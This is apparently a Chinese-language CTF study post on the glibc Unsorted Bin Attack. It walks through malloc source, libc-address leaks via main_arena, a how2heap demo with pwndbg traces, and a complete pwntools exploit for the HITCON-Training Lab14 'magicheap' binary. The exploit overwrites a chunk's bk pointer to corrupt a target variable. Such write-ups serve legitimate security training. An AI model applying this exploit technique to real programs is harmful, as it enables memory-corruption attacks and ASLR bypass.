Description
Unsorted Bin Attack,顾名思义,该攻击与 Glibc 堆管理中的的 Unsorted Bin 的机制紧密相关。
Unsorted Bin Attack 被利用的前提是控制 Unsorted Bin Chunk 的 bk 指针。
Unsorted Bin Attack 可以达到的效果是实现修改任意地址值为一个较大的数值。
回顾 Unsorted Bin的基本来源
当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于 top chunk 的解释,请参考下面的介绍。
当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。
基本使用情况
Unsorted Bin 在使用的过程中遍历顺序是 FIFO (First in first out),即插入的时候插入到 unsorted bin 的头部,取出的时候从链表尾获取 。
在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中。
深入看看unsorted bin实现 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { bck = victim->bk; if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0 ) || __builtin_expect (victim->size > av->system_mem, 0 )) malloc_printerr (check_action, "malloc(): memory corruption" , chunk2mem (victim), av); size = chunksize (victim); if (in_smallbin_range (nb) && bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long ) (size) > (unsigned long ) (nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; av->last_remainder = remainder; remainder->bk = remainder->fd = unsorted_chunks (av); if (!in_smallbin_range (remainder_size)) { remainder->fd_nextsize = NULL ; remainder->bk_nextsize = NULL ; } set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0 )); set_head (remainder, remainder_size | PREV_INUSE); set_foot (remainder, remainder_size); check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av); if (size == nb) { set_inuse_bit_at_offset (victim, size); if (av != &main_arena) victim->size |= NON_MAIN_ARENA; check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } else { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; if (fwd != bck) { size |= PREV_INUSE; assert ((bck->bk->size & NON_MAIN_ARENA) == 0 ); if ((unsigned long ) (size) < (unsigned long ) (bck->bk->size)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert ((fwd->size & NON_MAIN_ARENA) == 0 ); while ((unsigned long ) size < fwd->size) { fwd = fwd->fd_nextsize; assert ((fwd->size & NON_MAIN_ARENA) == 0 ); } if ((unsigned long ) size == (unsigned long ) fwd->size) fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;#define MAX_ITERS 10000 if (++iters >= MAX_ITERS) break ; }
unsorted bin 也是以链表的方式进行组织的,和 fast bin 不同的是其分配方式是 FIFO,即一个chunk放入 unsorted bin链时将该堆块插入链表头,而从这个链取堆块的时候是从尾部开始的,因此 unsorted bin 遍历堆块的时候使用的是bk指针 。
首先取出链表尾部的chunk记作 victim ,倒数第二个chunk记作 bck,并对 victm 的size位进行检查,这里的约束比较宽松:计算出chunk的大小后,假如我们申请的chunk属于 small bin 范围,且 last remainder 是 unsorted bin 中的唯一一个chunk时,就优先使用这个块,如果该块满足条件则对其进行切割和脱链操作。
如果上述条件不满足,则将 victim 从链中取出之后放到合适的链中或返回给用户。其中 unsorted_chunks (av)->bk = bck;bck->fd = unsorted_chunks (av); 是 unsorted bin attack 产生的原因:一旦我们绕过之前的检查到达这里,在可以控制 victim->bk 即 bck 的情况下我们可以往 bck->fd写入unsorted_chunks(av)即*(bck+0x10)=unsorted(av)。
继续走,下面一个代码块是指如果我们请求的 nb 同 victim 的大小恰好吻合,就直接返回这个块给用户。
如果之前的条件都不满足,意味着目前的 victim 不能满足用户的需求,需要根据其size放入 small bin 或large bin 的链,其中在后者实现中存在large bin attack,由于同本文无关就不再进一步展开,最后是unlink将victim彻底脱链。
Unsorted Bin Leak Unsorted Bin的结构 经过上面的代码解读后,我们了解到 Unsorted Bin 在管理时为循环双向链表,若 Unsorted Bin 中有两个 bin,那么该链表结构如下:
Leak原理
如果我们可以把正确的 fd 指针 leak 出来,就可以获得一个与 main_arena 有固定偏移的地址,这个偏移可以通过调试得出。而main_arena 是一个 struct malloc_state 类型的全局变量,是 ptmalloc 管理主分配区的唯一实例。说到全局变量,立马可以想到他会被分配在 .data 或者 .bss 等段上,那么如果我们有进程所使用的 libc 的 .so 文件的话,我们就可以获得 main_arena 与 libc 基地址的偏移,实现对 ASLR 的绕过。
通过 malloc_trim 函数得出 在 malloc.c 中有如下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int __malloc_trim (size_t s) { int result = 0 ; if (__malloc_initialized < 0 ) ptmalloc_init (); mstate ar_ptr = &main_arena; do { __libc_lock_lock (ar_ptr->mutex); result |= mtrim (ar_ptr, s); __libc_lock_unlock (ar_ptr->mutex); ar_ptr = ar_ptr->next; } while (ar_ptr != &main_arena); return result; }
注意到 mstate ar_ptr = &main_arena; 这里对 main_arena 进行了访问,所以我们可以通过IDA等工具分析出偏移:
如图所示将 .so 文件放入IDA中,找到 malloc_trim 函数就可以获得偏移了。
通过 __malloc_hook 直接算出 在前文的 Fast Bin Attack 学习中,我们了解到:main_arena 和 __malloc_hook 的地址差是 0x10,而大多数libc都可以直接查出 __malloc_hook 地址,这样就可以大幅减少工作量,以pwntools为例:
1 main_arena_offset = ELF("libc.so.6" ).symbols["__malloc_hook" ] + 0x10
这样就可以获得 main_arena 与基地址的偏移了。
实现 Leak 的方法
一般来说,要实现 leak,需要有 UAF,将一个 chunk 放入 Unsorted Bin 中后再打出其 fd。一般的笔记管理题都会有 show 的功能,对处于链表尾的节点 show 就可以获得 libc 的基地址了。
特别的,CTF 中的利用,堆往往是刚刚初始化的,所以 Unsorted Bin 一般都是干净的,当里面只存在一个 bin 的时候,该 bin 的 fd 和 bk 都会指向 main_arena 中。
另外,如果我们无法做到访问链表尾,但是可以访问链表头,那么在 32 位的环境下,对链表头进行 printf 等往往可以把 fd 和 bk 一起输出出来,这个时候同样可以实现有效的 leak。然而在 64 位下,由于高地址往往为 \x00,很多输出函数会被截断,这个时候可能就难以实现有效 leak。
Unsorted Bin Attack 原理 在 glibc/malloc/malloc.c 中的 _int_malloc 中有这样的一段代码,当将一个 unsorted bin 取出的时候,会将 bck->fd 的位置写入本 Unsorted Bin 的位置。
1 2 3 4 5 if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): corrupted unsorted chunks 3" ); unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);
关注后两行:unsorted_chunk的bk指针指向的是它后一个被释放的chunk的块地址(bck),后一个被释放的chunk的fd指针指向的是unsorted_chunk的块地址。如果我们能够控制unsorted_chunk的bk,那么就意味着可以将unsorted_chunks (av),即unsorted_chunk的块地址写到任意可写地址内。
不深入也不知道浅不浅出 这里以how2heap为例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #include <stdio.h> #include <stdlib.h> int main () { unsigned long target_var = 0 ; fprintf (stderr ,"&target_var and target_var:\n" ); fprintf (stderr , "%p: %ld\n\n" , &target_var, target_var); unsigned long *p = malloc (400 ); fprintf (stderr , "The first chunk_addr at: %p\n" ,p); malloc (500 ); free (p); fprintf (stderr , "The first chunk_fd is %p\n" ,(void *)p[1 ]); p[1 ] = (unsigned long )(&target_var - 2 ); fprintf (stderr , "Now,The first chunk_fd is %p\n\n" , (void *)p[1 ]); malloc (400 ); fprintf (stderr , "target has been rewrite %p: %p\n" , &target_var, (void *)target_var); }
程序执行流程:
首先定义了一个无符号long类型的变量target_var,并赋值为0
接下来打印出target_var所在地址及target_var中的内容
创建了一个size为0x1A0(400 + 16)大小的chunk,并将malloc指针赋给p指针,然后打印出p的地址。
创建了一个size为0x204(500 + 16)的chunk,在释放p指针指向的chunk_400后打印出chunk_400的fd的内容。
将chunk_400的fd位置修改成 target_var_addr - 0x10 的地址。然后重新申请size为0x1A0(400 + 16)大小的chunk。
最后打印出target_var地址及target_var中的内容。
首先我们在第14行下断点,使程序走过 unsigned long target_var = 0; 和 unsigned long *p = malloc(400);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 pwndbg> b 14 Breakpoint 1 at 0x40072f: file test.c, line 14.pwndbg> r Starting program: /home/ctf/CTF-Workspace/unsortedbin-attack/test &target_var and target_var: 0x7ffe4cb8d888: 0 The first chunk_addr at: 0x1e406010 ......pwndbg> x/4gx 0x7ffe4cb8d888 0x7ffe4cb8d888: 0x0000000000000000 0x000000001e406010 0x7ffe4cb8d898: 0x29b6e71153467800 0x00000000004007f0pwndbg> x/40gx 0x1e406010 0x1e406010: 0x0000000000000000 0x0000000000000000 0x1e406020: 0x0000000000000000 0x0000000000000000 0x1e406030: 0x0000000000000000 0x0000000000000000 0x1e406040: 0x0000000000000000 0x0000000000000000 0x1e406050: 0x0000000000000000 0x0000000000000000 0x1e406060: 0x0000000000000000 0x0000000000000000 0x1e406070: 0x0000000000000000 0x0000000000000000 0x1e406080: 0x0000000000000000 0x0000000000000000 0x1e406090: 0x0000000000000000 0x0000000000000000 0x1e4060a0: 0x0000000000000000 0x0000000000000000 0x1e4060b0: 0x0000000000000000 0x0000000000000000 0x1e4060c0: 0x0000000000000000 0x0000000000000000 0x1e4060d0: 0x0000000000000000 0x0000000000000000 0x1e4060e0: 0x0000000000000000 0x0000000000000000 0x1e4060f0: 0x0000000000000000 0x0000000000000000 0x1e406100: 0x0000000000000000 0x0000000000000000 0x1e406110: 0x0000000000000000 0x0000000000000000 0x1e406120: 0x0000000000000000 0x0000000000000000 0x1e406130: 0x0000000000000000 0x0000000000000000 0x1e406140: 0x0000000000000000 0x0000000000000000pwndbg>
接下来b 19
1 2 3 4 5 6 7 8 9 10 11 pwndbg> b 19 Breakpoint 2 at 0x40076c: file test.c, line 19.pwndbg> c Continuing. The first chunk_fd is 0x7f94a8840b78 ... pwndbg> x/60gx 0x1e406010 0x1e406010: 0x00007f94a8840b78 [fd] 0x00007f94a8840b78 [bk] 0x1e406020: 0x0000000000000000 0x0000000000000000
首先创建的 chunk_500 是为了使 chunk_400 被释放后挂进 Unsorted bin 链表中:释放一个不属于 fastbin 的chunk,并且该 chunk 不与 top chunk 相邻,该 chunk 会被首先放到 Unsorted bin 中
可以观察到由于 chunk_400 是第一个被释放进 Unsorted bin 中的 chunk,所以 chunk_400 的 fd 指针和 bk 指针均指向 Unsorted bin addr(0x7f94a8840b78)
接下来我们将断点下在第22行,完成p[1] = (unsigned long)(&target_var - 2);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 pwndbg> b 22 Breakpoint 3 at 0x4007a6: file test.c, line 22.pwndbg> c Continuing. Now,The first chunk_fd is 0x7ffe4cb8d878 ...pwndbg> x/60gx 0x1e406010 0x1e406010: 0x00007f94a8840b78 0x00007ffe4cb8d878 0x1e406020: 0x0000000000000000 0x0000000000000000 0x1e406030: 0x0000000000000000 0x0000000000000000 0x1e406040: 0x0000000000000000 0x0000000000000000 0x1e406050: 0x0000000000000000 0x0000000000000000 0x1e406060: 0x0000000000000000 0x0000000000000000
p[1] = (unsigned long)(&target_var - 2); 这段代码其实修改的是 chunk_400 的 bk 指针,使其指向了 target_var_addr - 0x10 这一处地址
为什么减去的是0x10,因为target_var 是unsigned long类型的,&target_var - 2就意味着要减去两个地址位宽(8 + 8) 为什么要减去0x10,这是因为想将target_var所在地址作为一个fake_chunk的malloc地址,即fake_chunk的fd位置,减0x10的位置就是fake_chunk的块指针,这样才符合Unsorted bin双向链表的规则
接下来我们将断点下在第23行,完成 malloc(400)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 pwndbg> b 23 Breakpoint 4 at 0x4007b0: file test.c, line 23.pwndbg> unsortedbin unsortedbin all [corrupted] FD: 0x1e406000 —▸ 0x7f94a8840b78 (main_arena+88) ◂— 0x1e406000 BK: 0x1e406000 —▸ 0x7ffe4cb8d878 —▸ 0x1e406010 ◂— 0x0pwndbg> c ......pwndbg> x/60gx 0x1e406010 0x1e406010: 0x00007f94a8840b78 0x00007ffe4cb8d878 0x1e406020: 0x0000000000000000 0x0000000000000000 0x1e406030: 0x0000000000000000 0x0000000000000000 0x1e406040: 0x0000000000000000 0x0000000000000000 0x1e406050: 0x0000000000000000 0x0000000000000000 0x1e406060: 0x0000000000000000 0x0000000000000000
可以看到在重新申请一个malloc(400)后,chunk_400被重新启用了,与之伴随的就是fake_chunk的fd链接到Unsorted bin addr,也就是说taget_var变量中的值就变为了 0x00007f94a8840b78 ,我们继续让程序执行完,我们看一下打印出来的结果:
1 2 3 4 5 pwndbg> c Continuing. target has been rewrite 0x7ffe4cb8d888: 0x7f94a8840b78 [Inferior 1 (process 265) exited normally]pwndbg>
可以看到target_var变量中的值已经变为 0x7f94a8840b78
以下几幅图重示上面的流程:
首先在没有任何chunk挂进Unsorted bin链表的时候,Unsorted bin的fd与bk指针均指向自身的chunk头(左图)。接下来,我们释放chunk_400,由于有chunk_500的原因,所以chunk_400会被挂进Unsorted bin中。那么chunk_400作为唯一一个被挂进Unsorted bin中的chunk,其fd与bk指针都会指向Unsorted bin的chunk头,Unsorted bin的fd和bk指针也会都指向chunk_400
在执行 p[1] = (unsigned long)(&target_var - 2) 修改完chunk_400的bk指针后,bk链接的就是以 target - 0x10 为块头的fake_chunk了。这里需要注意的是,由于chunk_400现在还挂在Unsorted bin中,我们此时更改chunk_400的bk会导致corrupted
由于在上一个步骤中发生了corrupted,所以在重启chunk_400的时候,Unsorted bin的fd依然还会指向fake_chunk。但chunk_400已经被拿走了,此时fake_chunk就与Unsorted bin相邻了,所以fake_chunk作为Unsorted bin的后一个chunk,fake_chunk的fd指针(即target的值)就会执行Unsorted bin的块头。Unsorted bin的bk指针将会指向fake_chunk的块头
那么这样一来target中的值就从0变为了Unsorted bin的地址了
总结一个流程:
victim = unsorted_chunks(av)->bk=p
bck = victim->bk=p->bk = target addr-16
unsorted_chunks(av)->bk = bck=target addr-16
bck->fd = *(target addr -16+16) = unsorted_chunks(av);
如果有点懵的话也可以看看这张图:
HITCON-Training Lab14 download
Checksec 1 2 3 4 5 6 7 8 9 10 11 12 13 # ctf @ 646be31c85ae in ~/CTF-Workspace/unsortedbin-attack/hitcontraining-lab14 [5:24:44] $ checksec magicheap [*] '/home/ctf/CTF-Workspace/unsortedbin-attack/hitcontraining-lab14/magicheap' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No# ctf @ 646be31c85ae in ~/CTF-Workspace/unsortedbin-attack/hitcontraining-lab14 [5:24:47] $ file magicheap magicheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7dbbc580bc50d383c3d8964b8fa0e56dbda3b5f1, not stripped
静态分析 本处省略静态分析过程内容,过程指北hollk - 好好说话之Unsorted Bin Attack
通过前面检查保护及静态分析阶段,我们得到了两个关键点:
如果全局变量magic(0x6020C0)的数值大于4869(0x1305)就会触发程序中的system(“cat flag”)
在edit_heap()函数中存在堆溢出
由于拿flag的条件仅仅只是magic的数值,所以完全可以利用Unsorted Bin Attack这种攻击手法,将全局变量magic(0x6020C0)中的数值调整为一个较大的数值
Exploit 最核心的部分应该是这四行以及修改p的bk指针为目的地址target-0x10(64位是-0x10,32位-0x08):
victim = unsorted_chunks(av)->bk=p
bck = victim->bk=p->bk = target addr-16
unsorted_chunks(av)->bk = bck=target addr-16
bck->fd = *(target addr -16+16) = unsorted_chunks(av);
这样也就将*target 的值修改为了unsorted bin 链表的头结点的地址了,这个地址往往是非常大的一个正数。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import * r = process('./magicheap' )def create_heap (size, content ): r.recvuntil(b":" ) r.sendline(b"1" ) r.recvuntil(b":" ) r.sendline(str (size).encode()) r.recvuntil(b":" ) r.sendline(content.encode() if isinstance (content, str ) else content)def edit_heap (idx, size, content ): r.recvuntil(b":" ) r.sendline(b"2" ) r.recvuntil(b":" ) r.sendline(str (idx).encode()) r.recvuntil(b":" ) r.sendline(str (size).encode()) r.recvuntil(b":" ) r.sendline(content.encode() if isinstance (content, str ) else content)def del_heap (idx ): r.recvuntil(b":" ) r.sendline(b"3" ) r.recvuntil(b":" ) r.sendline(str (idx).encode()) create_heap(0x20 , b"dada" ) create_heap(0x80 , b"dada" ) create_heap(0x20 , b"dada" ) del_heap(1 ) magic = 0x6020c0 fd = 0 bk = magic - 0x10 edit_heap(0 , 0x20 + 0x20 , b"a" * 0x20 + p64(0 ) + p64(0x91 ) + p64(fd) + p64(bk)) create_heap(0x80 , b"dada" ) r.recvuntil(b":" ) r.sendline(b"4869" ) r.interactive()
pwned!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 # ctf @ 646be31c85ae in ~/CTF-Workspace/unsortedbin-attack/hitcontraining-lab14 [5:44:05] $ python3 exp.py [+] Starting local process './magicheap': pid 887 [*] Switching to interactive mode SuccessFul -------------------------------- Magic Heap Creator -------------------------------- 1. Create a Heap 2. Edit a Heap 3. Delete a Heap 4. Exit -------------------------------- Your choice :Congrt ! flag{hack_for_fun!} -------------------------------- Magic Heap Creator -------------------------------- 1. Create a Heap 2. Edit a Heap 3. Delete a Heap 4. Exit -------------------------------- Your choice :$
References